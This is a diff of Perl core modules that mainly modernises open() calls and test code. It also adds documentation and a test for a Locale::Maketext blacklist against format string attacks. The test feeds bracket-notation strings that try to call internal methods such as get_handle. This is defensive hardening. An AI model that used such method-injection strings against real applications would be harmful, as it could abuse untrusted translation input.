my $file = catfile(curdir(),$inlib,$f);
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
} else {
print FH;
}
@@ -40,14 +40,14 @@ close FH;
{
my $file = "A-$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
Devel::SelfStubber->stub('xChild', $inlib);
select STDOUT;
print "ok 1\n";
close FH or die $!;
- open FH, $file or die $!;
+ open FH, '<', $file or die $!;
my @A = <FH>;
if (@A == 1 && $A[0] =~ /^\s*sub\s+xChild::foo\s*;\s*$/) {
@@ -61,14 +61,14 @@ close FH;
{
my $file = "B-$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
Devel::SelfStubber->stub('Proto', $inlib);
select STDOUT;
print "ok 3\n"; # Checking that we did not die horribly.
close FH or die $!;
- open FH, $file or die $!;
+ open FH, '<', $file or die $!;
my @B = <FH>;
if (@B == 1 && $B[0] =~ /^\s*sub\s+Proto::bar\s*\(\$\$\);\s*$/) {
@@ -84,14 +84,14 @@ close FH;
{
my $file = "C-$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
Devel::SelfStubber->stub('Attribs', $inlib);
select STDOUT;
print "ok 5\n"; # Checking that we did not die horribly.
close FH or die $!;
- open FH, $file or die $!;
+ open FH, '<', $file or die $!;
my @C = <FH>;
if (@C == 2 && $C[0] =~ /^\s*sub\s+Attribs::baz\s+:\s*locked\s*;\s*$/
@@ -137,7 +137,7 @@ sub faildump {
foreach my $module (@module) {
my $file = "$module--$$";
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
print FH "use $module;
print ${module}->foo;
";
@@ -168,11 +168,11 @@ undef $/;
foreach my $module (@module, 'Data', 'End') {
my $file = catfile(curdir(),$lib,"$module.pm");
my $fileo = catfile(curdir(),$inlib,"$module.pm");
- open FH, $fileo or die "Can't open $fileo: $!";
+ open FH, '<', $fileo or die "Can't open $fileo: $!";
my $contents = <FH>;
close FH or die $!;
push @cleanup, $file;
- open FH, ">$file" or die $!;
+ open FH, '>', $file or die $!;
select FH;
if ($contents =~ /__DATA__/) {
# This will die for any module with no __DATA__
@@ -208,7 +208,7 @@ system "$runperl -w \"-I$lib\" \"-MData\" -e \"Data::ok\"";
system "$runperl -w \"-I$lib\" \"-MEnd\" -e \"End::lime\"";
# But check that the documentation after the __END__ survived.
-open FH, catfile(curdir(),$lib,"End.pm") or die $!;
+open FH, '<', catfile(curdir(),$lib,"End.pm") or die $!;
$_ = <FH>;
close FH or die $!;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t
index b99382f2ba7..d6b75e9d0bc 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/01-basic.t
@@ -33,7 +33,7 @@ ok $b->have_compiler, "have_compiler";
$source_file = File::Spec->catfile('t', 'basict.c');
{
local *FH;
- open FH, "> $source_file" or die "Can't create $source_file: $!";
+ open FH, '>', $source_file or die "Can't create $source_file: $!";
print FH "int boot_basict(void) { return 1; }\n";
close FH;
}
@@ -75,8 +75,7 @@ SKIP: {
# include_dirs should be settable as string or list
{
package Sub;
- use vars '@ISA';
- @ISA = ('ExtUtils::CBuilder');
+ our @ISA = ('ExtUtils::CBuilder');
my $saw = 0;
sub do_system {
if ($^O eq "MSWin32") {
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t
index 78290d349dd..0c05ae29bbf 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-CBuilder/t/03-cplusplus.t
@@ -32,7 +32,7 @@ ok $b->have_cplusplus, "have_cplusplus";
$source_file = File::Spec->catfile('t', 'cplust.cc');
{
- open my $FH, "> $source_file" or die "Can't create $source_file: $!";
+ open my $FH, '>', $source_file or die "Can't create $source_file: $!";
print $FH "class Bogus { public: int boot_cplust() { return 1; } };\n";
close $FH;
}
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod
index 6bec01482cf..80bf13fd071 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pod
@@ -20,7 +20,7 @@ ExtUtils::ParseXS - converts Perl XS code into C code
optimize => 1,
prototypes => 1,
);
-
+
# Legacy non-OO interface using a singleton:
use ExtUtils::ParseXS qw(process_file);
process_file( filename => 'foo.xs' );
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t
index 9b2d2040404..04ba981919c 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/001-basic.t
@@ -11,6 +11,7 @@ my ($source_file, $obj_file, $lib_file);
require_ok( 'ExtUtils::ParseXS' );
chdir('t') if -d 't';
+push @INC, '.';
use Carp; $SIG{__WARN__} = \&Carp::cluck;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t
index e4a68f2fb0d..4aaa3ab081c 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/002-more.t
@@ -17,6 +17,7 @@ require_ok( 'ExtUtils::ParseXS' );
ExtUtils::ParseXS->import('process_file');
chdir 't' if -d 't';
+push @INC, '.';
use Carp; $SIG{__WARN__} = \&Carp::cluck;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t
index bfe10ac476d..00dfe0b2d83 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/003-usage.t
@@ -18,6 +18,7 @@ my ($source_file, $obj_file, $lib_file, $module);
require_ok( 'ExtUtils::ParseXS' );
chdir('t') if -d 't';
+push @INC, '.';
use Carp; $SIG{__WARN__} = \&Carp::cluck;
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs
index 89df22fab9d..452d3db24ed 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSTest.xs
@@ -76,6 +76,7 @@ bool
T_BOOL_2(in)
bool in
CODE:
+ PERL_UNUSED_VAR(RETVAL);
OUTPUT: in
void
diff --git a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs
index 9a8d93d42a2..ed3c8f845ba 100644
--- a/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs
+++ b/gnu/usr.bin/perl/dist/ExtUtils-ParseXS/t/XSUsage.xs
@@ -35,6 +35,8 @@ xsusage_two()
ALIAS:
two_x = 1
FOO::two = 2
+ INIT:
+ PERL_UNUSED_VAR(ix);
int
interface_v_i()
diff --git a/gnu/usr.bin/perl/dist/Filter-Simple/t/no.t b/gnu/usr.bin/perl/dist/Filter-Simple/t/no.t
new file mode 100644
index 00000000000..8980eaea9c9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Filter-Simple/t/no.t
@@ -0,0 +1,13 @@
+BEGIN {
+ unshift @INC, 't/lib/';
+}
+
+print "1..2\n";
+
+use Filter::Simple::FilterTest qr/ok/ => "not ok", pass => "fail";
+no Filter::Simple::FilterTest;
+
+sub pass { print "ok ", $_[0], "\n" }
+
+print "ok 1\n";
+("pa"."ss")->(2);
diff --git a/gnu/usr.bin/perl/dist/IO/ChangeLog b/gnu/usr.bin/perl/dist/IO/ChangeLog
index dd5e3ff3828..4101627c23e 100644
--- a/gnu/usr.bin/perl/dist/IO/ChangeLog
+++ b/gnu/usr.bin/perl/dist/IO/ChangeLog
@@ -1,3 +1,115 @@
+IO 1.38 -- Apr 19 2018 - Todd Rinaldo
+ * Remove pre 5.8 logic from code base.
+ * Bump all IO modules to 1.38 and set required Perl to 5.8.1
+ * Fix for perl #125723
+ * IO test: adjust require for non CORE perl
+ * IO::Handle - fix precedence issue
+ * Document IO::Select error detection
+ * Rely on C89 <time.h>
+ * (perl #130856) deal with unpack_sockaddr_un() croaking
+ * Switch most open() calls to three-argument form.
+ * (perl #129788) IO::Poll: fix memory leak
+ * (perl #128095) check pack_sockaddr_un()'s return value
+ * dist/: remove . from @INC when loading optional modules
+ * Fix IO::Handle documentation mangled by a manually applied patch
+ * Make IO::Poll->poll call _poll even with an empty fd array
+ * Fix assertion when calling IO::Poll::_poll() with an empty fd array
+ * Some BSD implementations might have <sys/poll.h> instead of <poll.h>.
+
+IO 1.36 -- Jun 26 2015 (Not released to CPAN)
+ * dist/IO/t/io_utf8argv.t: Generalize for non-ASCII platforms.
+ * VMS does have fsync, so configure accordingly.
+ * Skip obsolete skip in io_xs.t.
+ * Label conditionally unused.
+ * Use <sys/poll.h> if available before going select().
+ * Fix assertion when calling IO::Poll::_poll() with an empty fd array
+ * Make IO::Poll->poll call _poll even with an empty fd array
+
+IO 1.35 -- Dec 7 2014 (Not released to CPAN)
+ * Change OP_SIBLING to OpSIBLING
+ * Improve connected() doc
+ * IRIX: fsync documented to fail on read-only filehandles.
+ * Convert all use of Test.pm to Test::More
+
+IO 1.34 -- Sep 10 2014 (Not released to CPAN)
+ * Add dual life support for use of op_sibling in IO.xs
+
+IO 1.33 -- Jun 10 2014 (Not released to CPAN)
+ * wrap op_sibling field access in OP_SIBLING* macros
+ * Make like() and unlike() in t/test.pl refuse non-qr// arguments
+ * Further simplify the sockatmark(). (And do not assign the fd in PREINIT.)
+
+IO 1.32 -- May 29 2014 (Not released to CPAN)
+ * fcntl receiving -1 from fileno, fcntl failing.
+ * Also very few spots of negative numgroups for getgroups(), and fgetc() return, but almost all checking is for fcntl.
+ * merged fix for perl #121743 and perl #121745: hopefully picked up all the fixes-to-fixes from the ticket.
+ * Fix for Coverity perl5 CIDs 28990..29003,29005..29011,29013,45354,45363,49926
+ * Argument cannot be negative (NEGATIVE_RETURNS) fd is passed to a parameter that cannot be negative.
+ * CIDs 29004, 29012: Argument cannot be negative (NEGATIVE_RETURNS) num_groups is passed to a parameter that cannot be negative and because of CIDs 29005 and 29006 also CID 28924.
+ * In the first set of issues a fd is retrieved from PerlIO_fileno, and that is then used in places like fstat(), fchown(), dup(), etc., without checking whether the fd is valid (>=0).
+ * In the second set of issues a potentially negative number is potentially passed to getgroups().
+ * The CIDs 29005 and 29006 were a bit messy: fixing them needed also resolving CID 28924 where the return value of fstat() was ignored, and for completeness adding two croak calls (with perldiag updates): a bit of a waste since it's suidperl code.
+
+IO 1.31 -- Mar 4 2014 (Not released to CPAN)
+ * dist/IO: Allow to be dual-lived - This dual-lived module has not been able to be compiled on releases earlier than 5.10.1.
+ * IO::Socket::INET: Handle getprotobyn{ame,umber} not being available
+ * dist/IO/t/io_pipe.t: Work around android only having an inbuilt echo
+ * Add examples for IO::Socket::UNIX.
+ * Remove an old note about autoflush from the POD.
+ * ioctl on perlhost platforms take a char*, not void*
+
+IO 1.30 -- Nov 13 2013 (Not released to CPAN)
+ * IO.xs: fix compiler warning
+ * [perl #75156] fix the return value and bits for removing a closed fh
+ * [perl #75156] tests for deleting a closed handle from IO::Select
+ * Fix IO::Socket::connect() in the light of $! changes
+
+IO 1.29 -- Mar 15 2013 (Not released to CPAN)
+ * Use separate macros for byte vs uv Unicode
+ * IO::Socket::INET's documentation for its Listen parameter was somewhat misleading, and the documentation for IO::Socket::Unix even more so.
+ * Address [perl #117999] for now by skipping known bad test on AIX
+ * [perl #117791] Clarify that write does not match the C 'write' semantics
+ * fix dist/IO/t/cachepropagate-unix.t
+
+IO 1.28 -- Feb 2 2013 (Not released to CPAN)
+ * dist/IO/IO.xs: Silence compiler warning. This variable is unused, doesn't need to be declared.
+
+IO 1.27 -- Feb 17 2013 (Not released to CPAN)
+ * [perl #116322]: getc() and ungetc() with unicode failure (ungetc() had no knowledge of UTF-8. )
+
+IO 1.26 -- May 13 2009 - Jan 16 2013 (Not released to CPAN)
+ * portability to Haiku-OS for the cachepropagate-*.t tests
+ * sync() on a read-only file handle doesn't work on cygwin either
+ * [rt.cpan.org #61577] VMS doesn't support UNIX sockets
+ * add Test::More as a prereq to Makefile.PL
+ * document the limitations of protocol(), sockdomain(), socktype()
+ * [rt.cpan.org #61577] try to populate socket info when not cached
+ * [rt.cpan.org #61577] propagate socket details on accept
+ * [rt.cpan.org #61577] sockdomain and socktype undef on newly accepted sockets
+ * [perl #64772] check both input and output file handles for sync (This allows sync() to be called on directory handles.)
+ * [perl #64772] TODO test for sync on read only handle
+ * Convert some tests to Test::More
+ * Correct bug report email in docs from perl5-porters@perl.org to perlbug@perl.org
+ * Remove ‘use File::Spec’ from IO::File (It is not using it any more.)
+ * [RT #36079] Convert ` to '.
+ * use :raw to avoid interference from PERL_UNICODE when creating test data
+ * Make IO::Handle::getline(s) respect the open pragma (RT 66474)
+ * Fix setting sockets nonblocking in Win32
+ * Use the exception set in select (connect()) to early return when remote end is busy or in non existing port
+ * Keep verbatim pod within 79 cols
+ * Keep verbatim pod in IO.pm within 80 cols
+ * [perl #88486] IO::File does not always export SEEK*
+ * Explicitly force the load of IO::File in IO::Handle (see the discussion in [perl #87940]).
+ * Remove various indirect method calls in IO's docs
+ * IO::Select: allow removal of IO::Handle objects without fileno
+ * Actuall excise 'Apollo DomainOS' support. We officially killed it in 5.11.0. It hadn't worked for years before that.
+ * fix various compiler warnings from XS code (void return value)
+ * Only bind to localhost in tests: "in general, tests shouldn't be listening on all interfaces."
+ * Document IO::Socket getsockopt and setsockopt
+ * Convert sv_2mortal(newSVpvn()) to newSVpvn_flags(), for 5.11.0 and later. (
+ * Minor documentation and typo fixes.
+ * Move IO from ext to dist in core perl
+
IO 1.25 -- Wed May 13 18:37:33 CDT 2009
* Fix test warnings in io_dir
* skip tests known to cause a segfault 5.10.0
diff --git a/gnu/usr.bin/perl/dist/IO/Makefile.PL b/gnu/usr.bin/perl/dist/IO/Makefile.PL
index 7783cf995da..0fd03318711 100644
--- a/gnu/usr.bin/perl/dist/IO/Makefile.PL
+++ b/gnu/usr.bin/perl/dist/IO/Makefile.PL
@@ -1,6 +1,6 @@
# This -*- perl -*- script makes the Makefile
-BEGIN { require 5.006_001 }
+BEGIN { require 5.008_001 }
use ExtUtils::MakeMaker;
use Config qw(%Config);
my $PERL_CORE = grep { $_ eq 'PERL_CORE=1' } @ARGV;
@@ -19,12 +19,6 @@ unless ($PERL_CORE or exists $Config{'i_poll'}) {
}
}
-if ($] < 5.008 and !$PERL_CORE) {
- open(FH,">typemap");
- print FH "const char * T_PV\n";
- close(FH);
-}
-
#--- Write the Makefile
WriteMakefile(
@@ -35,6 +29,7 @@ WriteMakefile(
AUTHOR => 'Graham Barr <gbarr@cpan.org>',
PREREQ_PM => {
'Test::More' => 0,
+ 'File::Temp' => '0.15',
},
( $PERL_CORE
? ()
diff --git a/gnu/usr.bin/perl/dist/IO/t/IO.t b/gnu/usr.bin/perl/dist/IO/t/IO.t
index 2551b2468dc..247940f8e4e 100755
--- a/gnu/usr.bin/perl/dist/IO/t/IO.t
+++ b/gnu/usr.bin/perl/dist/IO/t/IO.t
@@ -93,7 +93,7 @@ my $fakemod = File::Spec->catfile( $fakedir, 'fakemod.pm' );
my $flag;
if ( -d $fakedir or mkpath( $fakedir ))
{
- if (open( OUT, ">$fakemod"))
+ if (open( OUT, '>', $fakemod ))
{
(my $package = <<' END_HERE') =~ tr/\t//d;
package IO::fakemod;
diff --git a/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t b/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t
index e3e438ea1ca..9ec42b04556 100644
--- a/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t
+++ b/gnu/usr.bin/perl/dist/IO/t/cachepropagate-unix.t
@@ -14,10 +14,25 @@ use Test::More;
plan skip_all => "UNIX domain sockets not implemented on $^O"
if ($^O =~ m/^(?:qnx|nto|vos|MSWin32|VMS)$/);
-plan tests => 15;
-
my $socketpath = catfile(tempdir( CLEANUP => 1 ), 'testsock');
+# check the socketpath fits in sun_path.
+#
+# pack_sockaddr_un() just truncates the path, this may change, but how
+# it will handle such a condition is undetermined (and we might need
+# to work with older versions of Socket outside of a perl build)
+# https://rt.cpan.org/Ticket/Display.html?id=116819
+
+my $name = eval { pack_sockaddr_un($socketpath) };
+if (defined $name) {
+ my ($packed_name) = eval { unpack_sockaddr_un($name) };
+ if (!defined $packed_name || $packed_name ne $socketpath) {
+ plan skip_all => "socketpath too long for sockaddr_un";
+ }
+}
+
+plan tests => 15;
+
# start testing stream sockets:
my $listener = IO::Socket::UNIX->new(Type => SOCK_STREAM,
Listen => 1,
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_dir.t b/gnu/usr.bin/perl/dist/IO/t/io_dir.t
index 5472daa9b9d..762c452ec83 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_dir.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_dir.t
@@ -1,14 +1,6 @@
#!./perl
BEGIN {
- if ($ENV{PERL_CORE}) {
- require Config; import Config;
- if ($] < 5.00326 || not $Config{'d_readdir'}) {
- print "1..0 # Skip: readdir() not available\n";
- exit 0;
- }
- }
-
require($ENV{PERL_CORE} ? "../../t/test.pl" : "./t/test.pl");
plan(16);
@@ -42,7 +34,7 @@ ok(!$dot->rewind, "rewind on closed");
ok(!defined($dot->read));
}
-open(FH,'>X') || die "Can't create x";
+open(FH,'>','X') || die "Can't create x";
print FH "X";
close(FH) or die "Can't close: $!";
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_file.t b/gnu/usr.bin/perl/dist/IO/t/io_file.t
index 1cf60f54414..a3d79c908c4 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_file.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_file.t
@@ -16,7 +16,7 @@ can_ok( $Class, "binmode" );
### use standard open to make sure we can compare binmodes
### on both.
{ my $tmp;
- open $tmp, ">$File" or die "Could not open '$File': $!";
+ open $tmp, '>', $File or die "Could not open '$File': $!";
binmode $tmp;
print $tmp $All_Chars;
close $tmp;
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_leak.t b/gnu/usr.bin/perl/dist/IO/t/io_leak.t
new file mode 100644
index 00000000000..08cbe2b884d
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/IO/t/io_leak.t
@@ -0,0 +1,37 @@
+#!/usr/bin/perl
+
+use warnings;
+use strict;
+
+use Test::More;
+
+eval { require XS::APItest; XS::APItest->import('sv_count'); 1 }
+ or plan skip_all => "No XS::APItest::sv_count() available";
+
+plan tests => 1;
+
+sub leak {
+ my ($n, $delta, $code, $name) = @_;
+ my $sv0 = 0;
+ my $sv1 = 0;
+ for my $i (1..$n) {
+ &$code();
+ $sv1 = sv_count();
+ $sv0 = $sv1 if $i == 1;
+ }
+ cmp_ok($sv1-$sv0, '<=', ($n-1)*$delta, $name);
+}
+
+# [perl #129788] IO::Poll shouldn't leak on errors
+{
+ package io_poll_leak;
+ use IO::Poll;
+
+ sub TIESCALAR { bless {} }
+ sub FETCH { die }
+
+ tie(my $a, __PACKAGE__);
+ sub f {eval { IO::Poll::_poll(0, $a, 1) }}
+
+ ::leak(5, 0, \&f, q{IO::Poll::_poll shouldn't leak});
+}
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_unix.t b/gnu/usr.bin/perl/dist/IO/t/io_unix.t
index 61ba3635f82..a6cd05c898f 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_unix.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_unix.t
@@ -39,7 +39,7 @@ if ($^O eq 'os2') { # Can't create sockets with relative path...
}
# Test if we can create the file within the tmp directory
-if (-e $PATH or not open(TEST, ">$PATH") and $^O ne 'os2') {
+if (-e $PATH or not open(TEST, '>', $PATH) and $^O ne 'os2') {
print "1..0 # Skip: cannot open '$PATH' for write\n";
exit 0;
}
diff --git a/gnu/usr.bin/perl/dist/IO/t/io_utf8.t b/gnu/usr.bin/perl/dist/IO/t/io_utf8.t
index 339e278e2cc..1125155a3ed 100755
--- a/gnu/usr.bin/perl/dist/IO/t/io_utf8.t
+++ b/gnu/usr.bin/perl/dist/IO/t/io_utf8.t
@@ -1,7 +1,7 @@
#!./perl
BEGIN {
- unless ($] >= 5.008 and find PerlIO::Layer 'perlio') {
+ unless (find PerlIO::Layer 'perlio') {
print "1..0 # Skip: not perlio\n";
exit 0;
}
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod b/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod
index a391b291b7e..24c8f24d8f6 100644
--- a/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/lib/Locale/Maketext.pod
@@ -307,6 +307,13 @@ interested in hearing about it.)
These two methods are discussed in the section "Controlling
Lookup Failure".
+=item $lh->blacklist(@list)
+
+=item $lh->whitelist(@list)
+
+These methods are discussed in the section "Bracket Notation
+Security".
+
=back
=head2 Utility Methods
@@ -861,6 +868,73 @@ I do not anticipate that you will need (or particularly want)
to nest bracket groups, but you are welcome to email me with
convincing (real-life) arguments to the contrary.
+=head1 BRACKET NOTATION SECURITY
+
+Locale::Maketext does not use any special syntax to differentiate
+bracket notation methods from normal class or object methods. This
+design makes it vulnerable to format string attacks whenever it is
+used to process strings provided by untrusted users.
+
+Locale::Maketext does support blacklist and whitelist functionality
+to limit which methods may be called as bracket notation methods.
+
+By default, Locale::Maketext blacklists all methods in the
+Locale::Maketext namespace that begin with the '_' character,
+and all methods which include Perl's namespace separator characters.
+
+The default blacklist for Locale::Maketext also prevents use of the
+following methods in bracket notation:
+
+ blacklist
+ encoding
+ fail_with
+ failure_handler_auto
+ fallback_language_classes
+ fallback_languages
+ get_handle
+ init
+ language_tag
+ maketext
+ new
+ whitelist
+
+This list can be extended by either blacklisting additional "known bad"
+methods, or whitelisting only "known good" methods.
+
+To prevent specific methods from being called in bracket notation, use
+the blacklist() method:
+
+ my $lh = MyProgram::L10N->get_handle();
+ $lh->blacklist(qw{my_internal_method my_other_method});
+ $lh->maketext('[my_internal_method]'); # dies
+
+To limit the allowed bracked notation methods to a specific list, use the
+whitelist() method:
+
+ my $lh = MyProgram::L10N->get_handle();
+ $lh->whitelist('numerate', 'numf');
+ $lh->maketext('[_1] [numerate, _1,shoe,shoes]', 12); # works
+ $lh->maketext('[my_internal_method]'); # dies
+
+The blacklist() and whitelist() methods extend their internal lists
+whenever they are called. To reset the blacklist or whitelist, create
+a new maketext object.
+
+ my $lh = MyProgram::L10N->get_handle();
+ $lh->blacklist('numerate');
+ $lh->blacklist('numf');
+ $lh->maketext('[_1] [numerate,_1,shoe,shoes]', 12); # dies
+
+For lexicons that use an internal cache, translations which have already
+been cached in their compiled form are not affected by subsequent changes
+to the whitelist or blacklist settings. Lexicons that use an external
+cache will have their cache cleared whenever the whitelist of blacklist
+setings change. The difference between the two types of caching is explained
+in the "Readonly Lexicons" section.
+
+Methods disallowed by the blacklist cannot be permitted by the
+whitelist.
+
=head1 AUTO LEXICONS
If maketext goes to look in an individual %Lexicon for an entry
@@ -1152,7 +1226,7 @@ If you get tired of constantly saying C<print $lh-E<gt>maketext>,
consider making a functional wrapper for it, like so:
use Projname::L10N;
- use vars qw($lh);
+ our $lh;
$lh = Projname::L10N->get_handle(...) || die "Language?";
sub pmt (@) { print( $lh->maketext(@_)) }
# "pmt" is short for "Print MakeText"
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t
index d54fc330078..5ac095910e6 100755
--- a/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/60_super.t
@@ -9,23 +9,20 @@ BEGIN {
{
package Whunk::L10N;
- use vars qw(@ISA %Lexicon);
- @ISA = 'Locale::Maketext';
- %Lexicon = ('hello' => 'SROBLR!');
+ our @ISA = 'Locale::Maketext';
+ our %Lexicon = ('hello' => 'SROBLR!');
}
{
package Whunk::L10N::en;
- use vars qw(@ISA %Lexicon);
- @ISA = 'Whunk::L10N';
- %Lexicon = ('hello' => 'HI AND STUFF!');
+ our @ISA = 'Whunk::L10N';
+ our %Lexicon = ('hello' => 'HI AND STUFF!');
}
{
package Whunk::L10N::zh_tw;
- use vars qw(@ISA %Lexicon);
- @ISA = 'Whunk::L10N';
- %Lexicon = ('hello' => 'NIHAU JOE!');
+ our @ISA = 'Whunk::L10N';
+ our %Lexicon = ('hello' => 'NIHAU JOE!');
}
$ENV{'REQUEST_METHOD'} = 'GET';
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t
index 44fe54d1b56..df0de3eb3cd 100644
--- a/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/70_fail_auto.t
@@ -9,14 +9,12 @@ BEGIN {
{
package Whunk::L10N;
- use vars qw(@ISA);
- @ISA = 'Locale::Maketext';
+ our @ISA = 'Locale::Maketext';
}
{
package Whunk::L10N::en;
- use vars qw(@ISA);
- @ISA = 'Whunk::L10N';
+ our @ISA = 'Whunk::L10N';
}
my $lh = Whunk::L10N->get_handle('en');
diff --git a/gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t b/gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t
new file mode 100644
index 00000000000..6ed36d1edd7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Locale-Maketext/t/92_blacklist.t
@@ -0,0 +1,93 @@
+#!/usr/bin/perl -Tw
+
+use strict;
+use warnings;
+use Test::More tests => 17;
+
+BEGIN {
+ use_ok("Locale::Maketext");
+}
+
+{
+
+ package MyTestLocale;
+ no warnings 'once';
+
+ @MyTestLocale::ISA = qw(Locale::Maketext);
+ %MyTestLocale::Lexicon = ();
+}
+
+{
+
+ package MyTestLocale::en;
+ no warnings 'once';
+
+ @MyTestLocale::en::ISA = qw(MyTestLocale);
+
+ %MyTestLocale::en::Lexicon = ( '_AUTO' => 1 );
+
+ sub custom_handler {
+ return "custom_handler_response";
+ }
+
+ sub _internal_method {
+ return "_internal_method_response";
+ }
+
+ sub new {
+ my ( $class, @args ) = @_;
+ my $lh = $class->SUPER::new(@args);
+ $lh->{use_external_lex_cache} = 1;
+ return $lh;
+ }
+}
+
+my $lh = MyTestLocale->get_handle('en');
+my $res;
+
+# get_handle blocked by default
+$res = eval { $lh->maketext('[get_handle,en]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'get_handle blocked in bracket notation by default blacklist' );
+
+# _ambient_langprefs blocked by default
+$res = eval { $lh->maketext('[_ambient_langprefs]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, '_ambient_langprefs blocked in bracket notation by default blacklist' );
+
+# _internal_method not blocked by default
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, "_internal_method_response", '_internal_method allowed in bracket notation by default blacklist' );
+is( $@, '', 'no exception thrown by use of _internal_method under default blacklist' );
+
+# sprintf not blocked by default
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, "hello", 'sprintf allowed in bracket notation by default blacklist' );
+is( $@, '', 'no exception thrown by use of sprintf under default blacklist' );
+
+# blacklisting sprintf and numerate
+$lh->blacklist( 'sprintf', 'numerate' );
+
+# sprintf blocked by custom blacklist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'sprintf blocked in bracket notation by custom blacklist' );
+
+# blacklisting numf and _internal_method
+$lh->blacklist('numf');
+$lh->blacklist('_internal_method');
+
+# sprintf blocked by custom blacklist
+$res = eval { $lh->maketext('[sprintf,%s,hello]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'sprintf blocked in bracket notation by custom blacklist after extension of blacklist' );
+
+# _internal_method blocked by custom blacklist
+$res = eval { $lh->maketext('[_internal_method]') };
+is( $res, undef, 'no return value from blocked expansion' );
+like( $@, qr/Can't use .* as a method name/, 'sprintf blocked in bracket notation by custom blacklist after extension of blacklist' );
+
+# custom_handler not in default or custom blacklist
+$res = eval { $lh->maketext('[custom_handler]') };
+is( $res, "custom_handler_response", 'custom_handler allowed in bracket notation by default and custom blacklists' );
